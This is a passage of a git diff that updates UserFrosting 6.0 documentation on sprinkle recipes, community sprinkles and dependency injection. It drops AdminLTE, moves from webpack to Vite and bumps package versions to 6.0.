+The **Sprinkle Recipe** solves this problem. It's a simple PHP class that serves as your sprinkle's blueprint, declaring what your sprinkle provides: its name, location, routes, services, and dependencies. UserFrosting reads this recipe to integrate your sprinkle seamlessly into the application framework.
+
+Every sprinkle **must have** a recipe—it's how UserFrosting knows your sprinkle exists and what it contains. This page explains the recipe's structure and how to configure each part.
+
+> [!NOTE]
+> There is one exception where a sprinkle may not have a recipe: if it only provides static assets (like CSS or JS files) and no PHP code. In this case, the sprinkle does not need to be registered with a recipe since there are no dynamic components for the PHP runtime to consider. However, this is a rare case, and most sprinkles will require a recipe to function properly.
 
 ## The `SprinkleRecipe` Interface
 
 The Sprinkle Recipe is a simple PHP class that provides standard methods which will be called by services to retrieve information about your sprinkle structure and the class it's registering. Every sprinkle recipe **MUST** implement the `UserFrosting\Sprinkle\SprinkleRecipe` interface. If you started from the [Skeleton](structure/introduction#the-app-skeleton-your-project-s-template), you already have a basic recipe.
 
-This interface requires you to implement the following method in your recipe:  
+This interface requires you to implement the following method in your recipe:
 - [`getName`](#name): Returns the name of the sprinkle.
-- [`getPath`](#path): Returns the path of the sprinkle. 
-- [`getSprinkles`](#dependent-sprinkles): Returns an array of dependent sub-sprinkles recipe. 
+- [`getPath`](#path): Returns the path of the sprinkle.
+- [`getSprinkles`](#dependent-sprinkles): Returns an array of dependent sub-sprinkles recipe.
 - [`getRoutes`](#routes): Return an array of routes classes.
 - [`getServices`](#services): Return an array of services classes.
 
@@ -24,9 +28,9 @@ This interface requires you to implement the following method in your recipe:
 
 ### Name
 
-This method returns the name identifier of the sprinkle. This name is mostly used in debug interfaces to identify resources and classes registered by the sprinkle. 
+This method returns the name identifier of the sprinkle. This name is mostly used in debug interfaces to identify resources and classes registered by the sprinkle.
 
-The method should return a string. For example: 
+The method should return a string. For example:
 
 ```php
 public function getName(): string
@@ -52,7 +56,7 @@ This method returns the path of the sprinkle. This path should point where the `
 ├── vendor/
 ├── composer.json
 ├── package.json
-└── webpack.config.js
+└── vite.config.ts
 ```
 
 ...`getPath()` should point to `/app`, or in this case the parent directory of where the recipe file is located :
@@ -81,12 +85,11 @@ public function getSprinkles(): array
         Core::class,
         Account::class,
         Admin::class,
-        AdminLTE::class,
     ];
 }
 ```
 
-Since `Admin` depends on `Core`, `Account` and `AdminLTE`, it's not mandatory to relist them in your recipe. In fact, the code above is equivalent to this, since the other one will be registered by `Admin`: 
+Since `Admin` depends on `Core` and `Account`, it's not mandatory to relist them in your recipe. In fact, the code above is equivalent to this, since the other sprinkles will be registered by `Admin`:
 ```php
 public function getSprinkles(): array
 {
@@ -96,14 +99,13 @@ public function getSprinkles(): array
 }
 ```
 
-This also mean removing `AdminLTE` as a dependency for example **cannot be done by simply removing it from your recipe**! It's impossible to remove `AdminLTE` without removing `Admin`, since `Admin` cannot work without its dependency.
+This also means removing a dependency **cannot be done by simply removing it from your recipe**! For example, you cannot remove `Account` without also removing `Admin`, since `Admin` depends on `Account`.
 
 However, it also means the next example **is also equivalent**:
 ```php
 public function getSprinkles(): array
 {
     return [
-        AdminLTE::class,
         Admin::class,
         Account::class,
         Core::class,
@@ -111,22 +113,21 @@ public function getSprinkles(): array
 }
 ```
 
-Let's look at the process for the above code : 
+Let's look at the process for the above code:
 
-1. AdminLTE will be loaded first. AdminLTE depends on Core first, and Account second. Core doesn't depend on anything. So **Core** is the first sprinkle loaded;
+1. Admin will be loaded first. Admin depends on Core first, and Account second. Core doesn't depend on anything. So **Core** is the first sprinkle loaded;
 2. Account is then checked. It depends on Core, which is already loaded, so **Account** is the second loaded sprinkle;
-3. AdminLTE doesn't have any more dependencies, so **AdminLTE** is loaded in third;
-4. Admin is now checked. It depends on Core, Account and AdminLTE. All are already loaded, so everything is good. **Admin** is loaded fourth;
-5. This sprinkle's dependencies are all good, so it is loaded last.
+3. Admin doesn't have any more dependencies not already loaded, so **Admin** is loaded third;
+4. This sprinkle's dependencies are all good, so it is loaded last.
 
-Because of sprinkle dependencies, in all three examples the order will be `Core -> Account -> AdminLTE -> Admin -> YOUR APP`.
+Because of sprinkle dependencies, in all three examples the order will be `Core -> Account -> Admin -> YOUR APP`.
 
 > [!TIP]
 > An easy way to see the final order sprinkles are loaded is via the command line `php bakery sprinkle:list` command. The registered sprinkles will be displayed in the order they are registered.
 
 ### Routes
 
-Return an array of routes classes. More details about this will be explored in [Chapter 8 - Routes and Controllers](routes-and-controllers). 
+Return an array of routes classes. More details about this will be explored in [Chapter 8 - Routes and Controllers](/routes-and-controllers).
 
 For example, to register `MyRoutes` class:
 ```php
@@ -142,7 +143,7 @@ public function getRoutes(): array
 
 Return an array of services definitions. These will be explored in [Chapter 7 - Dependency Injection](dependency-injection)
 
-Example: 
+Example:
 ```php
 public function getServices(): array
 {
@@ -186,9 +187,9 @@ $bakery->run();
 
 ## Optional recipes
 
-The sprinkle recipe power comes from its modularity. To avoid having one huge recipe with empty content, optional features can be added only when necessary. 
+The sprinkle recipe power comes from its modularity. To avoid having one huge recipe with empty content, optional features can be added only when necessary.
 
-The available sub-recipes includes: 
+The available sub-recipes includes:
 
 | Recipe                                      | Features                                                                                            |
 | ------------------------------------------- | --------------------------------------------------------------------------------------------------- |
@@ -218,7 +219,7 @@ class MyApp implements
 ### BakeryRecipe
 Interface : `UserFrosting\Sprinkle\BakeryRecipe`
 
-Methods to implements : 
+Methods to implements :
 - `getBakeryCommands` : Return a list of [Bakery commands](cli/custom-commands) classes
 
     **Example:**
@@ -252,11 +253,11 @@ Methods to implement :
 ### SeedRecipe
 Interface : `UserFrosting\Sprinkle\Core\Sprinkle\Recipe\SeedRecipe`
 
-Methods to implement : 
+Methods to implement :
 - `getSeeds` : Return a list of [Seeds](database/seeding) classes
 
     **Example:**
-    ```php 
+    ```php
     public function getSeeds(): array
     {
         return [
@@ -270,7 +271,7 @@ Methods to implement :
 ### MiddlewareRecipe
 Interface : `UserFrosting\Sprinkle\MiddlewareRecipe`
 
-Methods to implement : 
+Methods to implement :
 - `getMiddlewares` : Return a list of [Middlewares](advanced/middlewares) classes
 
     **Example:**
@@ -287,7 +288,7 @@ Methods to implement :
 ### EventListenerRecipe
 Interface : `UserFrosting\Event\EventListenerRecipe`
 
-Methods to implement : 
+Methods to implement :
 - `getEventListeners` : Allows to register [Event Listeners](advanced/events#listener)
 
     **Example:**
@@ -314,7 +315,7 @@ Methods to implement :
 ### TwigExtensionRecipe
 Interface : `UserFrosting\Sprinkle\Core\Sprinkle\Recipe\TwigExtensionRecipe`
 
-Methods to implement : 
+Methods to implement :
 - `getTwigExtensions` : Return a list of [Twig Extension](templating-with-twig/filters-and-functions#extending-twig-extensions) classes
 
     **Example:**
@@ -341,15 +342,14 @@ In this case, two files need to be edited : `composer.json` and the Sprinkle Rec
 
 2. Since changes were made to *composer.json*, composer need to be updated (`composer update`).
 
-3. In the Sprinkle Recipe, `Admin:class` can be removed from the `getSprinkles()` method:
-    ```php 
+3. In the Sprinkle Recipe, `Admin::class` can be removed from the `getSprinkles()` method:
+    ```php
     public function getSprinkles(): array
     {
         return [
             Core::class,
             Account::class,
             //Admin::class,
-            AdminLTE::class,
         ];
     }
     ```
@@ -369,9 +369,9 @@ In this case, instead of adding the dependent sprinkle (in `getSprinkles`), you
 
 ### Extending dependent recipe
 
-This method is best used when you want to *remove* a small number of resources from a dependent sprinkle. As with the previous method, if the dependent sprinkle is updated, you may need to manually update your code. If you want to only one resource from a dependent sprinkle, it's best to use the previous method to import one, than to remove everything else. 
+This method is best used when you want to *remove* a small number of resources from a dependent sprinkle. As with the previous method, if the dependent sprinkle is updated, you may need to manually update your code. If you want to only one resource from a dependent sprinkle, it's best to use the previous method to import one, than to remove everything else.
 
-For example, you may want to remove all routes defined in the Account sprinkle : 
+For example, you may want to remove all routes defined in the Account sprinkle :
 ```php
 
 namespace UserFrosting\App;
@@ -393,6 +393,6 @@ class CustomAccount extends Account
 }
 ```
 
-In this case, instead of depending on `Account` in `getSprinkles`, you'll add `CustomAccount` in your sprinkle `getSprinkles`. All other methods from `Account` will be included via `CustomAccount`. 
+In this case, instead of depending on `Account` in `getSprinkles`, you'll add `CustomAccount` in your sprinkle `getSprinkles`. All other methods from `Account` will be included via `CustomAccount`.
 
 You'll then have **two recipes** in your sprinkle, e.g.: `MyApp` and `CustomAccount`, side by side. `MyApp` will still be *main sprinkle*, referenced in `index.php` and `bakery`, since `CustomAccount` is a dependency of `MyApp`.
diff --git a/app/pages/6.0/06.sprinkles/04.customize/docs.md b/app/pages/6.0/06.sprinkles/04.customize/docs.md
index 540d4078..9ec0a146 100644
--- a/app/pages/6.0/06.sprinkles/04.customize/docs.md
+++ b/app/pages/6.0/06.sprinkles/04.customize/docs.md
@@ -1,7 +1,6 @@
 ---
 title: Customizing Your Sprinkle
 description: This guide walks you though the process of setting up your application by implementing a new sprinkle.
-obsolete: true
 ---
 
 This guide assumes that you've already completed the [installation guide](installation) and successfully managed to get UserFrosting working in your [local development environment](background/develop-locally-serve-globally) using the [Skeleton](structure/introduction#the-app-skeleton-your-project-s-template). If not, please do that now - feel free to [ask for help](troubleshooting/getting-help) if you're running into trouble!
@@ -46,11 +45,10 @@ Original **composer.json**
     "require": {
         "php": "^8.1",
         "ext-gd": "*",
-        "userfrosting/framework": "^5.1",
-        "userfrosting/sprinkle-core": "^5.1",
-        "userfrosting/sprinkle-account": "^5.1",
-        "userfrosting/sprinkle-admin": "^5.1",
-        "userfrosting/theme-adminlte": "^5.1"
+        "userfrosting/framework": "^6.0",
+        "userfrosting/sprinkle-core": "^6.0",
+        "userfrosting/sprinkle-account": "^6.0",
+        "userfrosting/sprinkle-admin": "^6.0"
     },
     "require-dev": {
         "friendsofphp/php-cs-fixer": "^3.0",
@@ -100,11 +98,10 @@ Modified **composer.json**
     "require": {
         "php": "^8.1",
         "ext-gd": "*",
-        "userfrosting/framework": "^5.1",
-        "userfrosting/sprinkle-core": "^5.1",
-        "userfrosting/sprinkle-account": "^5.1",
-        "userfrosting/sprinkle-admin": "^5.1",
-        "userfrosting/theme-adminlte": "^5.1"
+        "userfrosting/framework": "^6.0",
+        "userfrosting/sprinkle-core": "^6.0",
+        "userfrosting/sprinkle-account": "^6.0",
+        "userfrosting/sprinkle-admin": "^6.0"
     },
     "require-dev": {
         "friendsofphp/php-cs-fixer": "^3.0",
@@ -162,7 +159,6 @@ use UserFrosting\Sprinkle\Admin\Admin;
 use UserFrosting\Sprinkle\BakeryRecipe;
 use UserFrosting\Sprinkle\Core\Core;
 use UserFrosting\Sprinkle\SprinkleRecipe;
-use UserFrosting\Theme\AdminLTE\AdminLTE;
 
 class Owlfancy implements
     SprinkleRecipe,
diff --git a/app/pages/6.0/06.sprinkles/05.community/docs.md b/app/pages/6.0/06.sprinkles/05.community/docs.md
index 4d71fdea..a401aa21 100644
--- a/app/pages/6.0/06.sprinkles/05.community/docs.md
+++ b/app/pages/6.0/06.sprinkles/05.community/docs.md
@@ -1,7 +1,6 @@
 ---
 title: Community Sprinkles
 description: Sprinkles shared between projects are called community sprinkles.
-obsolete: true
 ---
 
 One great thing about the **Sprinkle system** is its ability to wrap complete functionality inside a single package. This makes it a great tool to write your website isolated from the core UserFrosting code. It also means it's super easy to share sprinkles between projects... and with other members of the UserFrosting community! That's what we call a **community sprinkle**.
@@ -11,53 +10,45 @@ The best place to look for community sprinkles is on [GitHub](https://github.com
 
 ## Loading a community sprinkle
 ### Sprinkle recipe
-Once you've found a sprinkle you'd like to use in your own project, the first step is to `require` it in [your `composer.json`](sprinkles/customize#composer-json), along with the core UserFrosting sprinkles.
+Once you've found a sprinkle you'd like to use in your own project, the first step is to `require` it in [your `composer.json`](/sprinkles/customize#composer-json), along with the core UserFrosting sprinkles.
 ```json
     "require": {
-...
-        "userfrosting/theme-adminlte": "~5.1.0",
+        [...]
         "owlfancy/owlery-sprinkle": "^0.1"
     },
 ```
 
 Next, add *their* recipe to *your* recipe, in the `getSprinkles()` method.
 ```php
-use Owlfancy\Sprinkle\Owlery ; //don't forget to include the sprinkle's namespace!
-...
+use Owlfancy\Sprinkle\Owlery; //don't forget to include the sprinkle's namespace!
+
+[...]
+
     public function getSprinkles(): array
     {
         return [
             Core::class,
             Account::class,
             Admin::class,
-            AdminLTE::class, // include any base sprinkles you might need
-            Owlery::class, // add the community sprinkle as well!
+            Owlery::class, // add the community sprinkle
         ];
     }
 ```
 
 > [!NOTE]
-> If the sprinkle does not include Javascript, you're done setting up--skip to the "Installing" section.
+> If the sprinkle does not include frontend assets (JavaScript, TypeScript, Vue components, etc.), you're done setting up--skip to the "Installing" section.
 
-### Javascript
-If the sprinkle includes Javascript, you will need to add it to both the "dependencies" [in your `package.json`](asset-management/webpack-encore#npm-and-packages-json)... 
+### Frontend Assets
+If the sprinkle includes frontend assets like JavaScript, TypeScript, or Vue components, you will need to add it to the "dependencies" in your `package.json`:
 ```json
  "dependencies": {
-        "@userfrosting/sprinkle-admin": "~5.1.0",
-        "@userfrosting/theme-adminlte": "~5.1.0",
+        "@userfrosting/sprinkle-admin": "^6.0",
+        "@userfrosting/theme-pink-cupcake": "^6.0",
         "sprinkle-owlery":"github:owlfancy/sprinkle-owlery"
     },
 ```
-...*and* to the "sprinkles" [in `/webpack.config.js`](asset-management/webpack-encore#webpack-encore-configuration).
-```js
-// List dependent sprinkles and local entries files
-const sprinkles = {
-    AdminLTE: require('@userfrosting/theme-adminlte/webpack.entries'),
-    Admin: require('@userfrosting/sprinkle-admin/webpack.entries'), // core sprinkles come included
-    Owlery: require('sprinkle-owlery/webpack.entries'),// add any community sprinkles as well
-}
-```
-(We'll talk more about these files in the [Assets chapter](asset-management)).
+
+You may also need to configure Vite to properly handle the sprinkle's assets. See [Chapter 13](/asset-management) for more information about managing assets with Vite.
 
 > [!TIP]
 > In the `package.json` example above, we're loading the Userfrosting core sprinkles from npm, and the Owlery sprinkle from Github. Each community sprinkle decides where it is published, and should include this in their README.
@@ -70,12 +61,12 @@ php bakery bake
 ```
 
 ### Database (optional)
-If needed, [migrations](cli/commands#migrate) and [seeds](cli/commands#seed) can be run manually through Bakery. 
+If needed, [migrations](cli/commands#migrate) and [seeds](cli/commands#seed) can be run manually through Bakery.
 ```txt
 php bakery migrate
 php bakery seed
 ```
-You can also use `php bakery migrate:status` and `php bakery seed:list` to check what migrations and seeds the sprinkle has added, and if any migrations have not yet been run. 
+You can also use `php bakery migrate:status` and `php bakery seed:list` to check what migrations and seeds the sprinkle has added, and if any migrations have not yet been run.
 
 > [!TIP]
 > `php bakery bake` should run migrations automatically, but you can use the above commands later if you don't want to run a full `bake`.
@@ -88,13 +79,13 @@ You can also use `php bakery migrate:status` and `php bakery seed:list` to check
 ### Basic prep work
 When you're ready to distribute your sprinkle, first use `composer update` to make sure it is up to date with the latest version of UserFrosting.
 
-Providing documentation and examples in a `README` file will encourage other devs to use your sprinkle. You should specify whether they need to add your sprinkle to `package.json`, if there are any seeds to run, and any other steps needed to fully set up. 
+Providing documentation and examples in a `README` file will encourage other devs to use your sprinkle. You should specify whether they need to add your sprinkle to `package.json`, if there are any seeds to run, and any other steps needed to fully set up.
 > [!TIP]
 > As an example, if your sprinkle adds a new permission, anyone installing your sprinkle may need to manually add that permission to the appropriate roles through the UserFrosting UI.
 
 Every sprinkle needs a valid `composer.json` file. This file is required to add any sort of class and PSR-4 definition to your sprinkle, so you already have one. Make sure it contains up-to-date information; your name and license details are always welcome. If you include a `type` key, be sure it's defined as `userfrosting-sprinkle` in your sprinkles `composer.json` file--but this is not required as of UserFrosting 5.
 
-We highly recommend publishing your community sprinkle on GitHub and adding it to [Packagist](https://packagist.org). This lets others include your sprinkle in `composer.json`, similar to how the default sprinkles are already defined. 
+We highly recommend publishing your community sprinkle on GitHub and adding it to [Packagist](https://packagist.org). This lets others include your sprinkle in `composer.json`, similar to how the default sprinkles are already defined.
 
 You may also have some extra steps depending on what features your sprinkle provides:
 
diff --git a/app/pages/6.0/06.sprinkles/chapter.md b/app/pages/6.0/06.sprinkles/chapter.md
index 3ed43d44..53f9c2b7 100644
--- a/app/pages/6.0/06.sprinkles/chapter.md
+++ b/app/pages/6.0/06.sprinkles/chapter.md
@@ -1,13 +1,14 @@
 ---
 title: Sprinkles
 description: Sprinkles are modular units of code and content that implement some feature or override some default behavior of UserFrosting.
-obsolete: true
 ---
 
 #### Chapter 6
 
 # Sprinkles
 
-The **sprinkle** system is a modular, flexible approach to separating core functionality from developer-added code and content.
+When building a web application, you face a fundamental challenge: **how do you extend and customize functionality without modifying the core codebase?** Directly editing framework code creates maintenance nightmares—every update risks breaking your changes, and sharing your work becomes nearly impossible.
 
-This is a powerful means of customizing your site without having to modify UserFrosting's core code. It also allows the UserFrosting community to share and integrate functionally cohesive units of code and content across projects.
+UserFrosting solves this with **sprinkles**—a modular system that lets you extend and override default behavior without touching core code. Think of sprinkles like toppings on ice cream: the base (core framework) stays intact, while you add your own flavors on top.
+
+This chapter explains how sprinkles work, how to create your own, and how to leverage community sprinkles to accelerate your development. You'll learn to build maintainable, modular applications that stay easy to update and share.
diff --git a/app/pages/6.0/07.dependency-injection/01.concept/docs.md b/app/pages/6.0/07.dependency-injection/01.concept/docs.md
index 60602e5a..55aa7d48 100644
--- a/app/pages/6.0/07.dependency-injection/01.concept/docs.md
+++ b/app/pages/6.0/07.dependency-injection/01.concept/docs.md
@@ -1,10 +1,17 @@
 ---
 title: Understanding Dependency Injection
-description: Dependency Injection (DI) is the backbone of modern programming
-obsolete: true
+description: Dependency Injection (DI) is the backbone of modern programming and the key to writing testable, flexible code.
 ---
 
-[Dependency Injection](http://www.phptherightway.com/#dependency_injection) is one of the fundamental pillars of modern object-oriented software design - it is a prime example of the **D** in [**SOLID**](https://en.wikipedia.org/wiki/SOLID_(object-oriented_design)). The idea is that instead of creating objects _inside_ other objects, you create your "inner objects" (dependencies) separately and then _inject_ (by passing as an argument to the constructor or a setter method) them into the "outer object" (dependent).
+When objects create their own dependencies internally, you end up with rigid, tightly coupled code. Want to test a class? You can't—it's hardwired to specific implementations. Need to swap a dependency? You're rewriting the class. Want to mock something for testing? Impossible.
+
+**Dependency Injection (DI)** solves this elegantly. Instead of objects creating what they need, they declare their needs (dependencies), and someone else provides them. This simple shift—dependencies coming from outside rather than being created inside—makes your code testable, flexible, and maintainable. It's the **D** in [SOLID](https://en.wikipedia.org/wiki/SOLID_(object-oriented_design)) principles.
+
+Think of it like a restaurant: A bad restaurant has chefs who grow their own ingredients, make their own equipment, and handle everything internally (tightly coupled). A good restaurant has chefs who receive quality ingredients from suppliers (dependency injection). The chef focuses on cooking; the suppliers focus on ingredients. Everyone does their job better.
+
+This page explains dependency injection with concrete examples, showing you why it matters and how UserFrosting uses it throughout.
+
+## The Problem: Tight Coupling
 
 For example, if you have class `Owl`:
 
@@ -44,7 +51,7 @@ class Owl
 }
 ```
 
-now, we create our `Nest` externally to our `Owl`, and then pass it in:
+Now, we create our `Nest` externally to our `Owl`, and then pass it in:
 
 ```php
 $nest = new Nest();
@@ -102,7 +109,7 @@ class Owl
 }
 ```
 
-In the above example, it doesn't matter if `Owl` receives a `Nest` or an `ImprovedNest`, or even a `SuperDuperNest`, as long as they all obey the same contract defined by the `NestInterface`. Moreover, the `Owl` class can confidently call the `getSize()` method of the injected `$nest` property, because the interface ensures that method is available, no matter which implementation of the `NestInterface` it receives. 
+In the above example, it doesn't matter if `Owl` receives a `Nest` or an `ImprovedNest`, or even a `SuperDuperNest`, as long as they all obey the same contract defined by the `NestInterface`. Moreover, the `Owl` class can confidently call the `getSize()` method of the injected `$nest` property, because the interface ensures that method is available, no matter which implementation of the `NestInterface` it receives.
 
 Using interfaces to declare what kind of object a class is expected to receive, even if you don't plan to have multiple "nest" types, is a key element in *autowiring* that we'll see shortly.
 
diff --git a/app/pages/6.0/07.dependency-injection/02.the-di-container/docs.md b/app/pages/6.0/07.dependency-injection/02.the-di-container/docs.md
index 507f9e97..c7b0425f 100644
--- a/app/pages/6.0/07.dependency-injection/02.the-di-container/docs.md
+++ b/app/pages/6.0/07.dependency-injection/02.the-di-container/docs.md
@@ -1,11 +1,7 @@
 ---
 title: The DI Container
 description: The Dependency Injection (DI) container provides an elegant and loosely coupled way to make various services available globally in your application.
-obsolete: true
 ---
-
-### The Dependency Injection (DI) Container
-
 The obvious issue with dependency injection, of course, is that it becomes harder to encapsulate functionality. Injecting a `Nest` into an `Owl`'s constructor requires that we build the Nest ourselves, instead of delegating it to the Owl. For classes with many, many dependencies, we can end up with a lot of code just to create an instance. Imagine an *Owl* that requires a *Nest*, that requires a *Tree*, that requires a *Forest*, etc.
 
 As a more concrete example, let's look at the code required to create a new Monolog logging object:
@@ -30,18 +26,21 @@ Three main steps are required to create the object:
 
 This is a lot of code to write just to create one measly object! It would be great if we could somehow encapsulate the creation of the object without creating tight couplings within the object itself.
 
-This is where the **dependency injection container (DIC)** comes into play. The DIC handles basic management of dependencies, encapsulating their creation into simple callbacks. We will call these callbacks **services**. 
+### The Dependency Injection (DI) Container
+
+This is where the **dependency injection container (DIC)** comes into play. The DIC handles basic management of dependencies, encapsulating their creation into simple callbacks. We will call these callbacks **services**.
 
 > [!NOTE]
 > Dependency Injection (DI) and the Dependency Injection Container (DIC) are two separate concepts.
-> 1. dependency injection is a method for writing better code
-> 2. a container is a tool to help injecting dependencies
+> 1. Dependency injection (DI) is a method for writing better code
+> 2. Dependency injection container (DIC) is a tool to help injecting dependencies
+> 
 > You don't need a container to do dependency injection. However, a container can make injections easier.
 
 UserFrosting uses [_PHP-DI 7_](https://php-di.org) as it's DIC implementation since it provides many powerful features that we rely on:
 
 1. It creates dependencies lazily ("on demand"). Any service (and its dependencies) won't be created until the first time we access them.
-2. Once an object has been created in the container, the same object is returned in each subsequent call to the container. 
+2. Once an object has been created in the container, the same object is returned in each subsequent call to the container.
 3. It has the ability to automatically create and inject dependencies.
 4. It has powerful Slim 4 integration.
 
@@ -77,16 +76,17 @@ $owl = $container->get(Owl::class);
 
 It's very simple, doesn't require any configuration, and it just works !
 
-> Autowiring is an exotic word that represents something very simple: the ability of the container to automatically create and inject dependencies.
 
 > [!NOTE]
+> Autowiring is an exotic word that represents something very simple: the ability of the container to automatically create and inject dependencies.
+> 
 > You can learn more about autowiring in the [PHP-DI Documentation](https://php-di.org/doc/autowiring.html)
 
 ### Service Providers & Definitions
 
 Sometimes classes might be a bit more complex to instantiate, especially third party ones (eg. the logger object from before). Or you might want to use a different class based on some configuration value. You might also want a class to be replaced by another one (eg. our `ImprovedNest`). In these cases, autowiring cannot be used. This is where PHP-DI **definition** comes handy. PHP-DI loads the definitions you have written and uses them like instructions on how to create objects.
 
-UserFrosting sets up its services through **service provider** classes. Each sprinkle can define as many service providers as it needs and register them in the [Recipe](dependency-injection/adding-services). For example, the Services Provider class for the previous `Logger` example would look like this:
+UserFrosting sets up its services through **service provider** classes. Each sprinkle can define as many service providers as it needs and register them in the [Recipe](/dependency-injection/adding-services). For example, the Services Provider class for the previous `Logger` example would look like this:
 
 ```php
 use Monolog\Formatter\LineFormatter;
@@ -106,7 +106,7 @@ class LoggerServicesProvider implements ServicesProviderInterface
 
                 return $logger;
             },
-            
+
             StreamHandler::class => function () {
                 // 'userfrosting.log' could be fetched from a Config service here, for example.
                 return new StreamHandler('userfrosting.log');
@@ -121,7 +121,7 @@ class LoggerServicesProvider implements ServicesProviderInterface
 This definition uses the [PHP-DI factories](https://php-di.org/doc/php-definitions.html#factories) syntax. From the PHP-DI documentation:
 
 > Factories are PHP callables that return the instance. They allow to easily define objects lazily, i.e. each object will be created only when actually needed (because the callable will be called when actually needed).
-> 
+>
 > Just like any other definition, factories are called once and the same result is returned every time the factory needs to be resolved.
 >
 > Other services can be injected via type-hinting (as long as they are registered in the container or autowiring is enabled).
@@ -142,7 +142,7 @@ Earlier we discussed the benefits of using interfaces, as the constructor can ac
 public function __construct(NestInterface $nest) // Accept both `Nest` and `ImprovedNest`
 ```
 
-In this case, _Autowiring_ can't help us since the `NestInterface` cannot be instantiated: it's not a class, it's an interface! In this case, PHP Definitions can be used to match the interface with the correct class we want, using either a factory, or the [Autowired object](https://php-di.org/doc/php-definitions.html#autowired-objects) syntax: 
+In this case, _Autowiring_ can't help us since the `NestInterface` cannot be instantiated: it's not a class, it's an interface! In this case, PHP Definitions can be used to match the interface with the correct class we want, using either a factory, or the [Autowired object](https://php-di.org/doc/php-definitions.html#autowired-objects) syntax:
 
 ```php
 return [
@@ -151,7 +151,7 @@ return [
 ];
 ```
 
-The "nest of choice" can now be selected in the service provider. It could also be selected using another kind of logic, for example using a `Config` service and the new for PHP 8.0 [match expression](https://www.php.net/manual/en/control-structures.match.php): 
+The "nest of choice" can now be selected in the service provider. It could also be selected using another kind of logic, for example using a `Config` service and the new for PHP 8.0 [match expression](https://www.php.net/manual/en/control-structures.match.php):
 ```php
 return [
     // Inject Config to decide which nest to use, and the Container to get the actual class
@@ -165,7 +165,7 @@ return [
 ];
 ```
 
-But why are interfaces really needed? If `ImprovedNest` extends `Nest`, wouldn't the constructor accept an `ImprovedNest` anyway if you type-hinted against `Nest`? Well, yes... But it won't work the other way around. For example : 
+But why are interfaces really needed? If `ImprovedNest` extends `Nest`, wouldn't the constructor accept an `ImprovedNest` anyway if you type-hinted against `Nest`? Well, yes... But it won't work the other way around. For example :
 
 
 ```php
@@ -181,7 +181,7 @@ class AcceptNest {
 $improvedNest = $this->ci->get(Nest::class); // Return `ImprovedNest`, because service is configured this way
 $test = new AcceptNest($improvedNest); // Works, ImprovedNest is a subtype of Nest
 
-// This wont 
+// This wont
 
 class AcceptImprovedNest {
     public function __construct(protected ImprovedNest $nest)
diff --git a/app/pages/6.0/07.dependency-injection/03.default-services/docs.md b/app/pages/6.0/07.dependency-injection/03.default-services/docs.md
index e56a19e3..0906b916 100644
--- a/app/pages/6.0/07.dependency-injection/03.default-services/docs.md
+++ b/app/pages/6.0/07.dependency-injection/03.default-services/docs.md
@@ -1,10 +1,9 @@
 ---
 title: Default Services
 description: UserFrosting's default services provide most of the tools needed to build a basic web application.
-obsolete: true
 ---
 
-As mentioned in the last section, each sprinkle can set up its own services through **service providers**. The [bundled sprinkles](structure/sprinkles#bundled-sprinkles) set up many services that are essential to UserFrosting's functionality. These services can be found in the `src/ServicesProvider/` subdirectories in each Sprinkle's directory. 
+As mentioned in the last section, each sprinkle can set up its own services through **service providers**. The [bundled sprinkles](structure/sprinkles#bundled-sprinkles) set up many services that are essential to UserFrosting's functionality. These services can be found in the `src/ServicesProvider/` subdirectories in each Sprinkle's directory.
 
 But this is just the tip of the iceberg, since _Autowiring_ is also used throughout the source code to inject other types of classes pretty much everywhere.
 
@@ -16,11 +15,11 @@ Third party services are also used directly throughout the code. They can be inj
 
 ### `UserFrosting\Alert\AlertStream`
 
-This service handles the [alert message stream](advanced/alert-stream), sometimes known as "flash messages". (See Chapter 18 for more information.)
+This service handles the [alert message stream](/advanced/alert-stream), sometimes known as "flash messages". (See Chapter 18 for more information.)
 
 ### `Illuminate\Cache\Repository as Cache`
 
-Creates an instance of a Laravel [Cache](https://laravel.com/docs/8.x/cache). See [Chapter 17](advanced/caching) for more information.
+Creates an instance of a Laravel [Cache](https://laravel.com/docs/8.x/cache). See [Chapter 17](/advanced/caching) for more information.
 
 ### `UserFrosting\Config\Config`
 
@@ -30,32 +29,44 @@ The `config` service also builds the `site.uri.public` config variable from the
 
 ### `UserFrosting\Sprinkle\Core\Csrf\CsrfGuard`
 
-Constructs the [CSRF Guard](https://github.com/slimphp/Slim-Csrf) middleware, which mitigates cross-site request forgery attacks on your users. See [Chapter 2](background/security) for more information on security features.
+Constructs the [CSRF Guard](https://github.com/slimphp/Slim-Csrf) middleware, which mitigates cross-site request forgery attacks on your users. This is wrapped by `CsrfGuardMiddleware` and can be globally disabled via the `csrf.enabled` config. See [Chapter 2](background/security) for more information on security features.
 
-### `UserFrosting\Sprinkle\Core\Database\Migrator\Migrator`
+### `Illuminate\Database\Capsule\Manager` (Capsule)
 
-Creates an instance of `Migrator`, which runs your database [migrations](database/migrations).
+Creates the Eloquent ORM database connection manager. This service handles all database connections defined in your configuration and provides access to the query builder and schema builder. Most of the time you'll interact with database models rather than the Capsule directly.
 
-### `UserFrosting\Sprinkle\Core\Log\DebugLogger`
+Related services:
+- `Illuminate\Database\Connection` - The active database connection
+- `Illuminate\Database\Schema\Builder` - For schema operations and migrations
 
-Monolog `Logger` object for sending debug print statements and data to `logs/debug.log`. Can also be accessed via the [`Debug` facade](troubleshooting/debugging#debug-statements).
+### `UserFrosting\Sprinkle\Core\Database\Migrator\MigrationLocatorInterface`
 
-### `UserFrosting\Sprinkle\Core\Log\ErrorLogger`
+Provides access to the database migration system. Use the `Migrator` class to run migrations via the `migrate` Bakery command or programmatically. See [database migrations](database/migrations) for more information.
 
-Monolog `Logger` object for sending non-fatal error information from custom error handlers to `logs/userfrosting.log`.
+### `UserFrosting\Sprinkle\Core\Log\DebugLoggerInterface`
 
-### `UserFrosting\Sprinkle\Core\Log\MailLogger`
+Monolog `Logger` object for sending debug print statements and data to `logs/debug.log`. Inject via the `DebugLoggerInterface` for proper dependency injection.
 
-Monolog `Logger` object for sending detailed SMTP mail server information from the `mailer` service to `logs/userfrosting.log`. Mail logging will only occur if `debug.smtp` is set to `true`.
+### `UserFrosting\Sprinkle\Core\Log\ErrorLoggerInterface` 
 
-### `UserFrosting\Sprinkle\Core\Log\QueryLogger`
+Monolog `Logger` object for sending non-fatal error information from custom error handlers to `logs/userfrosting.log`. Inject via the `ErrorLoggerInterface`.
 
-Monolog `Logger` object for logging successfully completed database queries to `logs/userfrosting.log`.
+### `UserFrosting\Sprinkle\Core\Log\MailLoggerInterface`
+
